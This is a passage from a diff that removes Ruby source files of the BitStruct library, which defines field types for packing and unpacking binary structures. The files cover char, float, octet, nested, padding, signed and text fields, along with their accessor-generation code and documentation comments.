fields_for_inspect = fields.select {|field| field.inspectable?}
|
||||
if opts[:include_rest] and (rest_field = self.class.rest_field)
|
||||
fields_for_inspect << rest_field
|
||||
end
|
||||
|
||||
ary = fields_for_inspect.map do |field|
|
||||
field_format %
|
||||
[field.send(field_name_meth),
|
||||
field.inspect_in_object(self, opts)]
|
||||
end
|
||||
|
||||
body = ary.join(opts[:separator])
|
||||
|
||||
if opts[:include_class]
|
||||
opts[:format] % [self.class, body]
|
||||
else
|
||||
opts[:simple_format] % body
|
||||
end
|
||||
end
|
||||
|
||||
# A more visually appealing inspect method that puts each field/value on
|
||||
# a separate line. Very useful when output is scrolling by on a screen.
|
||||
#
|
||||
# (This is actually a convenience method to call #inspect with the
|
||||
# DETAILED_INSPECT_OPTS opts.)
|
||||
def inspect_detailed
|
||||
inspect(DETAILED_INSPECT_OPTS)
|
||||
end
|
||||
|
||||
# ------------------------
|
||||
# :section: field declaration methods
|
||||
#
|
||||
# ------------------------
|
||||
|
||||
# Define accessors for a variable length substring from the end of
|
||||
# the defined fields to the end of the BitStruct. The _rest_ may behave as
|
||||
# a String or as some other String or BitStruct subclass.
|
||||
#
|
||||
# This does not add a field, which is useful because a superclass can have
|
||||
# a rest method which accesses subclass data. In particular, #rest does
|
||||
# not affect the #round_byte_length class method. Of course, any data
|
||||
# in rest does add to the #length of the BitStruct, calculated as a string.
|
||||
# Also, _rest_ is not inherited.
|
||||
#
|
||||
# The +ary+ argument(s) work as follows:
|
||||
#
|
||||
# If a class is provided, use it for the Field class (String by default).
|
||||
# If a string is provided, use it for the display_name (+name+ by default).
|
||||
# If a hash is provided, use it for options.
|
||||
#
|
||||
# *Warning*: the rest reader method returns a copy of the field, so
|
||||
# accessors on that returned value do not affect the original rest field.
|
||||
#
|
||||
def self.rest(name, *ary)
|
||||
if @rest_field
|
||||
raise ArgumentError, "Duplicate rest field: #{name.inspect}."
|
||||
end
|
||||
|
||||
opts = parse_options(ary, name, String)
|
||||
offset = round_byte_length
|
||||
byte_range = offset..-1
|
||||
class_eval do
|
||||
field_class = opts[:field_class]
|
||||
define_method name do ||
|
||||
field_class.new(self[byte_range])
|
||||
end
|
||||
|
||||
define_method "#{name}=" do |val|
|
||||
self[byte_range] = val
|
||||
end
|
||||
|
||||
@rest_field = Field.new(offset, -1, name, {
|
||||
:display_name => opts[:display_name],
|
||||
:rest_class => field_class
|
||||
})
|
||||
end
|
||||
end
|
||||
|
||||
# Not included with the other fields, but accessible separately.
|
||||
def self.rest_field; @rest_field; end
|
||||
end
|
||||
@@ -1,49 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
class BitStruct
|
||||
# Class for fixed length binary strings of characters.
|
||||
# Declared with BitStruct.char.
|
||||
class CharField < Field
|
||||
#def self.default
|
||||
# don't define this, since it must specify N nulls and we don't know N
|
||||
#end
|
||||
|
||||
# Used in describe.
|
||||
def self.class_name
|
||||
@class_name ||= "char"
|
||||
end
|
||||
|
||||
def add_accessors_to(cl, attr = name) # :nodoc:
|
||||
unless offset % 8 == 0
|
||||
raise ArgumentError,
|
||||
"Bad offset, #{offset}, for #{self.class} #{name}." +
|
||||
" Must be multiple of 8."
|
||||
end
|
||||
|
||||
unless length % 8 == 0
|
||||
raise ArgumentError,
|
||||
"Bad length, #{length}, for #{self.class} #{name}." +
|
||||
" Must be multiple of 8."
|
||||
end
|
||||
|
||||
offset_byte = offset / 8
|
||||
length_byte = length / 8
|
||||
last_byte = offset_byte + length_byte - 1
|
||||
byte_range = offset_byte..last_byte
|
||||
val_byte_range = 0..length_byte-1
|
||||
|
||||
cl.class_eval do
|
||||
define_method attr do ||
|
||||
self[byte_range].to_s
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
val = val.to_s
|
||||
if val.length < length_byte
|
||||
val += "\0" * (length_byte - val.length)
|
||||
end
|
||||
self[byte_range] = val[val_byte_range]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,301 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
class BitStruct
|
||||
class << self
|
||||
# Define a char string field in the current subclass of BitStruct,
|
||||
# with the given _name_ and _length_ (in bits). Trailing nulls _are_
|
||||
# considered part of the string.
|
||||
#
|
||||
# If a class is provided, use it for the Field class.
|
||||
# If a string is provided, use it for the display_name.
|
||||
# If a hash is provided, use it for options.
|
||||
#
|
||||
# Note that the accessors have COPY semantics, not reference.
|
||||
#
|
||||
def char(name, length, *rest)
|
||||
opts = parse_options(rest, name, CharField)
|
||||
add_field(name, length, opts)
|
||||
end
|
||||
alias string char
|
||||
BitStruct.autoload :CharField, "bit-struct/char-field"
|
||||
|
||||
# Define a floating point field in the current subclass of BitStruct,
|
||||
# with the given _name_ and _length_ (in bits).
|
||||
#
|
||||
# If a class is provided, use it for the Field class.
|
||||
# If a string is provided, use it for the display_name.
|
||||
# If a hash is provided, use it for options.
|
||||
#
|
||||
# The <tt>:endian => :native</tt> option overrides the default of
|
||||
# <tt>:network</tt> byte ordering, in favor of native byte ordering. Also
|
||||
# permitted are <tt>:big</tt> (same as <tt>:network</tt>) and
|
||||
# <tt>:little</tt>.
|
||||
#
|
||||
def float name, length, *rest
|
||||
opts = parse_options(rest, name, FloatField)
|
||||
add_field(name, length, opts)
|
||||
end
|
||||
BitStruct.autoload :FloatField, "bit-struct/float-field"
|
||||
|
||||
# Define an octet string field in the current subclass of BitStruct,
|
||||
# with the given _name_ and _length_ (in bits). Trailing nulls are
|
||||
# not considered part of the string. The field is accessed using
|
||||
# period-separated hex digits.
|
||||
#
|
||||
# If a class is provided, use it for the Field class.
|
||||
# If a string is provided, use it for the display_name.
|
||||
# If a hash is provided, use it for options.
|
||||
#
|
||||
def hex_octets(name, length, *rest)
|
||||
opts = parse_options(rest, name, HexOctetField)
|
||||
add_field(name, length, opts)
|
||||
end
|
||||
BitStruct.autoload :HexOctetField, "bit-struct/hex-octet-field"
|
||||
|
||||
# Define a nested field in the current subclass of BitStruct,
|
||||
# with the given _name_ and _nested_class_. Length is determined from
|
||||
# _nested_class_.
|
||||
#
|
||||
# If a class is provided, use it for the Field class (i.e. <=NestedField).
|
||||
# If a string is provided, use it for the display_name.
|
||||
# If a hash is provided, use it for options.
|
||||
#
|
||||
# For example:
|
||||
#
|
||||
# class Sub < BitStruct
|
||||
# unsigned :x, 8
|
||||
# end
|
||||
#
|
||||
# class A < BitStruct
|
||||
# nest :n, Sub
|
||||
# end
|
||||
#
|
||||
# a = A.new
|
||||
#
|
||||
# p a # ==> #<A n=#<Sub x=0>>
|
||||
#
|
||||
# If a block is given, use it to define the nested fields. For example, the
|
||||
# following is equivalent to the above example:
|
||||
#
|
||||
# class A < BitStruct
|
||||
# nest :n do
|
||||
# unsigned :x, 8
|
||||
# end
|
||||
# end
|
||||
#
|
||||
# WARNING: the accessors have COPY semantics, not reference. When you call a
|
||||
# reader method to get the nested structure, you get a *copy* of that data.
|
||||
# Expressed in terms of the examples above:
|
||||
#
|
||||
# # This fails to set x in a.
|
||||
# a.n.x = 3
|
||||
# p a # ==> #<A n=#<Sub x=0>>
|
||||
#
|
||||
# # This works
|
||||
# n = a.n
|
||||
# n.x = 3
|
||||
# a.n = n
|
||||
# p a # ==> #<A n=#<Sub x=3>>
|
||||
#
|
||||
def nest(name, *rest, &block)
|
||||
nested_class = rest.grep(Class).find {|cl| cl <= BitStruct}
|
||||
rest.delete nested_class
|
||||
opts = parse_options(rest, name, NestedField)
|
||||
nested_class = opts[:nested_class] ||= nested_class
|
||||
|
||||
unless (block and not nested_class) or (nested_class and not block)
|
||||
raise ArgumentError,
|
||||
"nested field must have either a nested_class option or a block," +
|
||||
" but not both"
|
||||
end
|
||||
|
||||
unless nested_class
|
||||
nested_class = Class.new(BitStruct)
|
||||
nested_class.class_eval(&block)
|
||||
end
|
||||
|
||||
opts[:default] ||= nested_class.initial_value.dup
|
||||
opts[:nested_class] = nested_class
|
||||
field = add_field(name, nested_class.bit_length, opts)
|
||||
field
|
||||
end
|
||||
alias struct nest
|
||||
BitStruct.autoload :NestedField, "bit-struct/nested-field"
|
||||
|
||||
# Define an octet string field in the current subclass of BitStruct,
|
||||
# with the given _name_ and _length_ (in bits). Trailing nulls are
|
||||
# not considered part of the string. The field is accessed using
|
||||
# period-separated decimal digits.
|
||||
#
|
||||
# If a class is provided, use it for the Field class.
|
||||
# If a string is provided, use it for the display_name.
|
||||
# If a hash is provided, use it for options.
|
||||
#
|
||||
def octets(name, length, *rest)
|
||||
opts = parse_options(rest, name, OctetField)
|
||||
add_field(name, length, opts)
|
||||
end
|
||||
BitStruct.autoload :OctetField, "bit-struct/octet-field"
|
||||
|
||||
# Define a padding field in the current subclass of BitStruct,
|
||||
# with the given _name_ and _length_ (in bits).
|
||||
#
|
||||
# If a class is provided, use it for the Field class.
|
||||
# If a string is provided, use it for the display_name.
|
||||
# If a hash is provided, use it for options.
|
||||
#
|
||||
def pad(name, length, *rest)
|
||||
opts = parse_options(rest, name, PadField)
|
||||
add_field(name, length, opts)
|
||||
end
|
||||
alias padding pad
|
||||
BitStruct.autoload :PadField, "bit-struct/pad-field"
|
||||
|
||||
# Define a signed integer field in the current subclass of BitStruct,
|
||||
# with the given _name_ and _length_ (in bits).
|
||||
#
|
||||
# If a class is provided, use it for the Field class.
|
||||
# If a string is provided, use it for the display_name.
|
||||
# If a hash is provided, use it for options.
|
||||
#
|
||||
# SignedField adds the <tt>:fixed => divisor</tt> option, which specifies
|
||||
# that the internally stored value is interpreted as a fixed point real
|
||||
# number with the specified +divisor+.
|
||||
#
|
||||
# The <tt>:endian => :native</tt> option overrides the default of
|
||||
# <tt>:network</tt> byte ordering, in favor of native byte ordering. Also
|
||||
# permitted are <tt>:big</tt> (same as <tt>:network</tt>) and
|
||||
# <tt>:little</tt>.
|
||||
#
|
||||
def signed name, length, *rest
|
||||
opts = parse_options(rest, name, SignedField)
|
||||
add_field(name, length, opts)
|
||||
end
|
||||
BitStruct.autoload :SignedField, "bit-struct/signed-field"
|
||||
|
||||
# Define a printable text string field in the current subclass of BitStruct,
|
||||
# with the given _name_ and _length_ (in bits). Trailing nulls are
|
||||
# _not_ considered part of the string.
|
||||
#
|
||||
# If a class is provided, use it for the Field class.
|
||||
# If a string is provided, use it for the display_name.
|
||||
# If a hash is provided, use it for options.
|
||||
#
|
||||
# Note that the accessors have COPY semantics, not reference.
|
||||
#
|
||||
def text(name, length, *rest)
|
||||
opts = parse_options(rest, name, TextField)
|
||||
add_field(name, length, opts)
|
||||
end
|
||||
BitStruct.autoload :TextField, "bit-struct/text-field"
|
||||
|
||||
# Define a unsigned integer field in the current subclass of BitStruct,
|
||||
# with the given _name_ and _length_ (in bits).
|
||||
#
|
||||
# If a class is provided, use it for the Field class.
|
||||
# If a string is provided, use it for the display_name.
|
||||
# If a hash is provided, use it for options.
|
||||
#
|
||||
# UnsignedField adds the <tt>:fixed => divisor</tt> option, which specifies
|
||||
# that the internally stored value is interpreted as a fixed point real
|
||||
# number with the specified +divisor+.
|
||||
#
|
||||
# The <tt>:endian => :native</tt> option overrides the default of
|
||||
# <tt>:network</tt> byte ordering, in favor of native byte ordering. Also
|
||||
# permitted are <tt>:big</tt> (same as <tt>:network</tt>) and
|
||||
# <tt>:little</tt>.
|
||||
#
|
||||
def unsigned name, length, *rest
|
||||
opts = parse_options(rest, name, UnsignedField)
|
||||
add_field(name, length, opts)
|
||||
end
|
||||
BitStruct.autoload :UnsignedField, "bit-struct/unsigned-field"
|
||||
|
||||
# Define a vector field in the current subclass of BitStruct,
|
||||
# with the given _name_.
|
||||
#
|
||||
# If a class is provided, use it for the Vector class, otherwise
|
||||
# the block must define the entry fields. The two forms looks like
|
||||
# this:
|
||||
#
|
||||
# class Vec < BitStruct::Vector
|
||||
# # these declarations apply to *each* entry in the vector:
|
||||
# unsigned :x, 16
|
||||
# signed :y, 32
|
||||
# end
|
||||
#
|
||||
# class Packet < BitStruct
|
||||
# # Using the Vec class defined above
|
||||
# vector :v, Vec, "a vector", :length => 5
|
||||
#
|
||||
# # equivalently, using an anonymous subclass of BitStruct::Vector
|
||||
# vector :v2, "a vector", :length => 5 do
|
||||
# unsigned :x, 16
|
||||
# signed :y, 32
|
||||
# end
|
||||
# end
|
||||
#
|
||||
# If a string is provided, use it for the display_name.
|
||||
# If a hash is provided, use it for options.
|
||||
# If a number is provided, use it for length (equivalent to using the
|
||||
# :length option).
|
||||
#
|
||||
# WARNING: the accessors have COPY semantics, not reference. When you call a
|
||||
# reader method to get the vector structure, you get a *copy* of that data.
|
||||
#
|
||||
# For example, to modify the numeric fields in a Packet as defined above:
|
||||
#
|
||||
# pkt = Packet.new
|
||||
# vec = pkt.v
|
||||
# entry = vec[2]
|
||||
# entry.x = 123
|
||||
# entry.y = -456
|
||||
# vec[2] = entry
|
||||
# pkt.v = vec
|
||||
#
|
||||
def vector(name, *rest, &block)
|
||||
opts = parse_options(rest, name, nil)
|
||||
cl = opts[:field_class]
|
||||
opts[:field_class] = VectorField
|
||||
|
||||
unless (block and not cl) or (cl and not block)
|
||||
raise ArgumentError,
|
||||
"vector must have either a class or a block, but not both"
|
||||
end
|
||||
|
||||
case
|
||||
when cl == nil
|
||||
vector_class = Class.new(BitStruct::Vector)
|
||||
vector_class.class_eval(&block)
|
||||
|
||||
when cl < BitStruct
|
||||
vector_class = Class.new(BitStruct::Vector)
|
||||
vector_class.struct_class cl
|
||||
|
||||
when cl < BitStruct::Vector
|
||||
vector_class = cl
|
||||
|
||||
else raise ArgumentError, "Bad vector class: #{cl.inspect}"
|
||||
end
|
||||
|
||||
vector_class.default_options default_options
|
||||
|
||||
length = opts[:length] || rest.grep(Integer).first
|
||||
## what about :length => :lenfield
|
||||
unless length
|
||||
raise ArgumentError,
|
||||
"Must provide length as argument N or as option :length => N"
|
||||
end
|
||||
|
||||
opts[:default] ||= vector_class.new(length) ## nil if variable length
|
||||
opts[:vector_class] = vector_class
|
||||
|
||||
bit_length = vector_class.struct_class.round_byte_length * 8 * length
|
||||
|
||||
field = add_field(name, bit_length, opts)
|
||||
field
|
||||
end
|
||||
BitStruct.autoload :VectorField, "bit-struct/vector-field"
|
||||
end
|
||||
|
||||
autoload :Vector, "bit-struct/vector"
|
||||
end
|
||||
@@ -1,62 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
class BitStruct
|
||||
# Class for floats (single and double precision) in network order.
|
||||
# Declared with BitStruct.float.
|
||||
class FloatField < Field
|
||||
# Used in describe.
|
||||
def self.class_name
|
||||
@class_name ||= "float"
|
||||
end
|
||||
|
||||
def add_accessors_to(cl, attr = name) # :nodoc:
|
||||
unless offset % 8 == 0
|
||||
raise ArgumentError,
|
||||
"Bad offset, #{offset}, for #{self.class} #{name}." +
|
||||
" Must be multiple of 8."
|
||||
end
|
||||
|
||||
unless length == 32 or length == 64
|
||||
raise ArgumentError,
|
||||
"Bad length, #{length}, for #{self.class} #{name}." +
|
||||
" Must be 32 or 64."
|
||||
end
|
||||
|
||||
offset_byte = offset / 8
|
||||
length_byte = length / 8
|
||||
last_byte = offset_byte + length_byte - 1
|
||||
byte_range = offset_byte..last_byte
|
||||
|
||||
endian = (options[:endian] || options["endian"]).to_s
|
||||
case endian
|
||||
when "native"
|
||||
ctl = case length
|
||||
when 32; "f"
|
||||
when 64; "d"
|
||||
end
|
||||
when "little"
|
||||
ctl = case length
|
||||
when 32; "e"
|
||||
when 64; "E"
|
||||
end
|
||||
when "network", "big", ""
|
||||
ctl = case length
|
||||
when 32; "g"
|
||||
when 64; "G"
|
||||
end
|
||||
else
|
||||
raise ArgumentError,
|
||||
"Unrecognized endian option: #{endian.inspect}"
|
||||
end
|
||||
|
||||
cl.class_eval do
|
||||
define_method attr do ||
|
||||
self[byte_range].unpack(ctl).first
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
self[byte_range] = [val].pack(ctl)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,21 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'bit-struct/char-field'
|
||||
|
||||
class BitStruct
|
||||
# Class for char fields that can be accessed with values like
|
||||
# "xx:xx:xx:xx", where each xx is up to 2 hex digits representing a
|
||||
# single octet. The original string-based accessors are still available with
|
||||
# the <tt>_chars</tt> suffix.
|
||||
#
|
||||
# Declared with BitStruct.hex_octets.
|
||||
class HexOctetField < BitStruct::OctetField
|
||||
# Used in describe.
|
||||
def self.class_name
|
||||
@class_name ||= "hex_octets"
|
||||
end
|
||||
|
||||
SEPARATOR = ":"
|
||||
FORMAT = "%02x"
|
||||
BASE = 16
|
||||
end
|
||||
end
|
||||
@@ -1,77 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'bit-struct/bit-struct'
|
||||
|
||||
class BitStruct
|
||||
# Class for nesting a BitStruct as a field within another BitStruct.
|
||||
# Declared with BitStruct.nest.
|
||||
class NestedField < Field
|
||||
def initialize(*args)
|
||||
super
|
||||
end
|
||||
|
||||
# Used in describe.
|
||||
def self.class_name
|
||||
@class_name ||= "nest"
|
||||
end
|
||||
|
||||
def class_name
|
||||
@class_name ||= nested_class.name[/\w+$/]
|
||||
end
|
||||
|
||||
def nested_class
|
||||
@nested_class ||= options[:nested_class] || options["nested_class"]
|
||||
end
|
||||
|
||||
def describe opts
|
||||
if opts[:expand]
|
||||
opts = opts.dup
|
||||
opts[:byte_offset] = offset / 8
|
||||
opts[:omit_header] = opts[:omit_footer] = true
|
||||
nested_class.describe(nil, opts) {|desc| yield desc}
|
||||
else
|
||||
super
|
||||
end
|
||||
end
|
||||
|
||||
def add_accessors_to(cl, attr = name) # :nodoc:
|
||||
unless offset % 8 == 0
|
||||
raise ArgumentError,
|
||||
"Bad offset, #{offset}, for nested field #{name}." +
|
||||
" Must be multiple of 8."
|
||||
end
|
||||
|
||||
unless length % 8 == 0
|
||||
raise ArgumentError,
|
||||
"Bad length, #{length}, for nested field #{name}." +
|
||||
" Must be multiple of 8."
|
||||
end
|
||||
|
||||
offset_byte = offset / 8
|
||||
length_byte = length / 8
|
||||
last_byte = offset_byte + length_byte - 1
|
||||
byte_range = offset_byte..last_byte
|
||||
|
||||
nc = nested_class
|
||||
|
||||
cl.class_eval do
|
||||
define_method attr do ||
|
||||
nc.new(self[byte_range])
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
if val.length != length_byte
|
||||
raise ArgumentError, "Size mismatch in nested struct assignment " +
|
||||
"to #{attr} with value #{val.inspect}"
|
||||
end
|
||||
|
||||
if val.class != nc
|
||||
warn "Type mismatch in nested struct assignment " +
|
||||
"to #{attr} with value #{val.inspect}"
|
||||
end
|
||||
|
||||
self[byte_range] = val
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,46 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'bit-struct/char-field'
|
||||
|
||||
class BitStruct
|
||||
# Class for char fields that can be accessed with values like
|
||||
# "xxx.xxx.xxx.xxx", where each xxx is up to 3 decimal digits representing a
|
||||
# single octet. The original string-based accessors are still available with
|
||||
# the <tt>_chars</tt> suffix.
|
||||
#
|
||||
# Declared with BitStruct.octets.
|
||||
class OctetField < BitStruct::CharField
|
||||
# Used in describe.
|
||||
def self.class_name
|
||||
@class_name ||= "octets"
|
||||
end
|
||||
|
||||
SEPARATOR = "."
|
||||
FORMAT = "%d"
|
||||
BASE = 10
|
||||
|
||||
def add_accessors_to(cl, attr = name) # :nodoc:
|
||||
attr_chars = "#{attr}_chars"
|
||||
super(cl, attr_chars)
|
||||
sep = self.class::SEPARATOR
|
||||
base = self.class::BASE
|
||||
fmt = self.class::FORMAT
|
||||
|
||||
cl.class_eval do
|
||||
define_method attr do ||
|
||||
ary = []
|
||||
send(attr_chars).each_byte do |c|
|
||||
ary << fmt % c
|
||||
end
|
||||
ary.join(sep)
|
||||
end
|
||||
|
||||
old_writer = "#{attr_chars}="
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
data = val.split(sep).map{|s|s.to_i(base)}.pack("C*")
|
||||
send(old_writer, data)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,16 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
class BitStruct
|
||||
# Class for fixed length padding.
|
||||
class PadField < Field
|
||||
# Used in describe.
|
||||
def self.class_name
|
||||
@class_name ||= "padding"
|
||||
end
|
||||
|
||||
def add_accessors_to(cl, attr = name) # :nodoc:
|
||||
# No accessors for padding.
|
||||
end
|
||||
|
||||
def inspectable?; false; end
|
||||
end
|
||||
end
|
||||
@@ -1,259 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
class BitStruct
|
||||
# Class for signed integers in network order, 1-16 bits, or 8n bits.
|
||||
# Declared with BitStruct.signed.
|
||||
class SignedField < Field
|
||||
# Used in describe.
|
||||
def self.class_name
|
||||
@class_name ||= "signed"
|
||||
end
|
||||
|
||||
def add_accessors_to(cl, attr = name) # :nodoc:
|
||||
offset_byte = offset / 8
|
||||
offset_bit = offset % 8
|
||||
|
||||
length_bit = offset_bit + length
|
||||
length_byte = (length_bit/8.0).ceil
|
||||
last_byte = offset_byte + length_byte - 1
|
||||
max = 2**length-1
|
||||
mid = 2**(length-1)
|
||||
max_unsigned = 2**length
|
||||
to_signed = proc {|n| (n>=mid) ? n - max_unsigned : n}
|
||||
# to_signed = proc {|n| (n>=mid) ? -((n ^ max) + 1) : n}
|
||||
|
||||
divisor = options[:fixed] || options["fixed"]
|
||||
divisor_f = divisor && divisor.to_f
|
||||
# if divisor and not divisor.is_a? Fixnum
|
||||
# raise ArgumentError, "fixed-point divisor must be a fixnum"
|
||||
# end
|
||||
|
||||
endian = (options[:endian] || options["endian"]).to_s
|
||||
case endian
|
||||
when "native"
|
||||
ctl = length_byte <= 2 ? "s" : "l"
|
||||
if length == 16 or length == 32
|
||||
to_signed = proc {|n| n}
|
||||
# with pack support, to_signed can be replaced with no-op
|
||||
end
|
||||
when "little"
|
||||
ctl = length_byte <= 2 ? "v" : "V"
|
||||
when "network", "big", ""
|
||||
ctl = length_byte <= 2 ? "n" : "N"
|
||||
else
|
||||
raise ArgumentError,
|
||||
"Unrecognized endian option: #{endian.inspect}"
|
||||
end
|
||||
|
||||
data_is_big_endian =
|
||||
([1234].pack(ctl) == [1234].pack(length_byte <= 2 ? "n" : "N"))
|
||||
|
||||
if length_byte == 1
|
||||
rest = 8 - length_bit
|
||||
mask = ["0"*offset_bit + "1"*length + "0"*rest].pack("B8")[0].ord
|
||||
mask2 = ["1"*offset_bit + "0"*length + "1"*rest].pack("B8")[0].ord
|
||||
|
||||
cl.class_eval do
|
||||
if divisor
|
||||
define_method attr do ||
|
||||
to_signed[(self[offset_byte] & mask) >> rest] / divisor_f
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
val = (val * divisor).round
|
||||
self[offset_byte] =
|
||||
(self[offset_byte] & mask2) | ((val<<rest) & mask)
|
||||
end
|
||||
|
||||
else
|
||||
define_method attr do ||
|
||||
to_signed[(self[offset_byte] & mask) >> rest]
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
self[offset_byte] =
|
||||
(self[offset_byte] & mask2) | ((val<<rest) & mask)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
elsif offset_bit == 0 and length % 8 == 0
|
||||
field_length = length
|
||||
byte_range = offset_byte..last_byte
|
||||
|
||||
cl.class_eval do
|
||||
case field_length
|
||||
when 8
|
||||
if divisor
|
||||
define_method attr do ||
|
||||
to_signed[self[offset_byte]] / divisor_f
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
val = (val * divisor).round
|
||||
self[offset_byte] = val
|
||||
end
|
||||
|
||||
else
|
||||
define_method attr do ||
|
||||
to_signed[self[offset_byte]]
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
self[offset_byte] = val
|
||||
end
|
||||
end
|
||||
|
||||
when 16, 32
|
||||
if divisor
|
||||
define_method attr do ||
|
||||
to_signed[self[byte_range].unpack(ctl).first] / divisor_f
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
val = (val * divisor).round
|
||||
self[byte_range] = [val].pack(ctl)
|
||||
end
|
||||
|
||||
else
|
||||
define_method attr do ||
|
||||
to_signed[self[byte_range].unpack(ctl).first]
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
self[byte_range] = [val].pack(ctl)
|
||||
end
|
||||
end
|
||||
|
||||
else
|
||||
reader_helper = proc do |substr|
|
||||
bytes = substr.unpack("C*")
|
||||
bytes.reverse! unless data_is_big_endian
|
||||
bytes.inject do |sum, byte|
|
||||
(sum << 8) + byte
|
||||
end
|
||||
end
|
||||
|
||||
writer_helper = proc do |val|
|
||||
bytes = []
|
||||
val += max_unsigned if val < 0
|
||||
while val > 0
|
||||
bytes.push val % 256
|
||||
val = val >> 8
|
||||
end
|
||||
if bytes.length < length_byte
|
||||
bytes.concat [0] * (length_byte - bytes.length)
|
||||
end
|
||||
|
||||
bytes.reverse! if data_is_big_endian
|
||||
bytes.pack("C*")
|
||||
end
|
||||
|
||||
if divisor
|
||||
define_method attr do ||
|
||||
to_signed[reader_helper[self[byte_range]] / divisor_f]
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
self[byte_range] = writer_helper[(val * divisor).round]
|
||||
end
|
||||
|
||||
else
|
||||
define_method attr do ||
|
||||
to_signed[reader_helper[self[byte_range]]]
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
self[byte_range] = writer_helper[val]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
elsif length_byte == 2 # unaligned field that fits within two whole bytes
|
||||
byte_range = offset_byte..last_byte
|
||||
rest = 16 - length_bit
|
||||
|
||||
mask = ["0"*offset_bit + "1"*length + "0"*rest]
|
||||
mask = mask.pack("B16").unpack(ctl).first
|
||||
|
||||
mask2 = ["1"*offset_bit + "0"*length + "1"*rest]
|
||||
mask2 = mask2.pack("B16").unpack(ctl).first
|
||||
|
||||
cl.class_eval do
|
||||
if divisor
|
||||
define_method attr do ||
|
||||
to_signed[(self[byte_range].unpack(ctl).first & mask) >> rest] /
|
||||
divisor_f
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
val = (val * divisor).round
|
||||
x = (self[byte_range].unpack(ctl).first & mask2) |
|
||||
((val<<rest) & mask)
|
||||
self[byte_range] = [x].pack(ctl)
|
||||
end
|
||||
|
||||
else
|
||||
define_method attr do ||
|
||||
to_signed[(self[byte_range].unpack(ctl).first & mask) >> rest]
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
x = (self[byte_range].unpack(ctl).first & mask2) |
|
||||
((val<<rest) & mask)
|
||||
self[byte_range] = [x].pack(ctl)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
elsif length_byte == 3 # unaligned field that fits within 3 whole bytes
|
||||
byte_range = offset_byte..last_byte
|
||||
rest = 32 - length_bit
|
||||
|
||||
mask = ["0"*offset_bit + "1"*length + "0"*rest]
|
||||
mask = mask.pack("B32").unpack(ctl).first
|
||||
|
||||
mask2 = ["1"*offset_bit + "0"*length + "1"*rest]
|
||||
mask2 = mask2.pack("B32").unpack(ctl).first
|
||||
|
||||
cl.class_eval do
|
||||
if divisor
|
||||
define_method attr do ||
|
||||
bytes = self[byte_range]
|
||||
bytes << 0
|
||||
to_signed[((bytes.unpack(ctl).first & mask) >> rest)] /
|
||||
divisor_f
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
val = (val * divisor).round
|
||||
bytes = self[byte_range]
|
||||
bytes << 0
|
||||
x = (bytes.unpack(ctl).first & mask2) |
|
||||
((val<<rest) & mask)
|
||||
self[byte_range] = [x].pack(ctl)[0..2]
|
||||
end
|
||||
|
||||
else
|
||||
define_method attr do ||
|
||||
bytes = self[byte_range]
|
||||
bytes << 0
|
||||
to_signed[(bytes.unpack(ctl).first & mask) >> rest]
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
bytes = self[byte_range]
|
||||
bytes << 0
|
||||
x = (bytes.unpack(ctl).first & mask2) |
|
||||
((val<<rest) & mask)
|
||||
self[byte_range] = [x].pack(ctl)[0..2]
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
else
|
||||
raise "unsupported: #{inspect}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,45 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
class BitStruct
|
||||
# Class for null-terminated printable text strings.
|
||||
# Declared with BitStruct.text.
|
||||
class TextField < Field
|
||||
# Used in describe.
|
||||
def self.class_name
|
||||
@class_name ||= "text"
|
||||
end
|
||||
|
||||
def add_accessors_to(cl, attr = name) # :nodoc:
|
||||
unless offset % 8 == 0
|
||||
raise ArgumentError,
|
||||
"Bad offset, #{offset}, for #{self.class} #{name}." +
|
||||
" Must be multiple of 8."
|
||||
end
|
||||
|
||||
unless length % 8 == 0
|
||||
raise ArgumentError,
|
||||
"Bad length, #{length}, for #{self.class} #{name}." +
|
||||
" Must be multiple of 8."
|
||||
end
|
||||
|
||||
offset_byte = offset / 8
|
||||
length_byte = length / 8
|
||||
last_byte = offset_byte + length_byte - 1
|
||||
byte_range = offset_byte..last_byte
|
||||
val_byte_range = 0..length_byte-1
|
||||
|
||||
cl.class_eval do
|
||||
define_method attr do ||
|
||||
self[byte_range].sub(/\0*$/, "").to_s
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
val = val.to_s
|
||||
if val.length < length_byte
|
||||
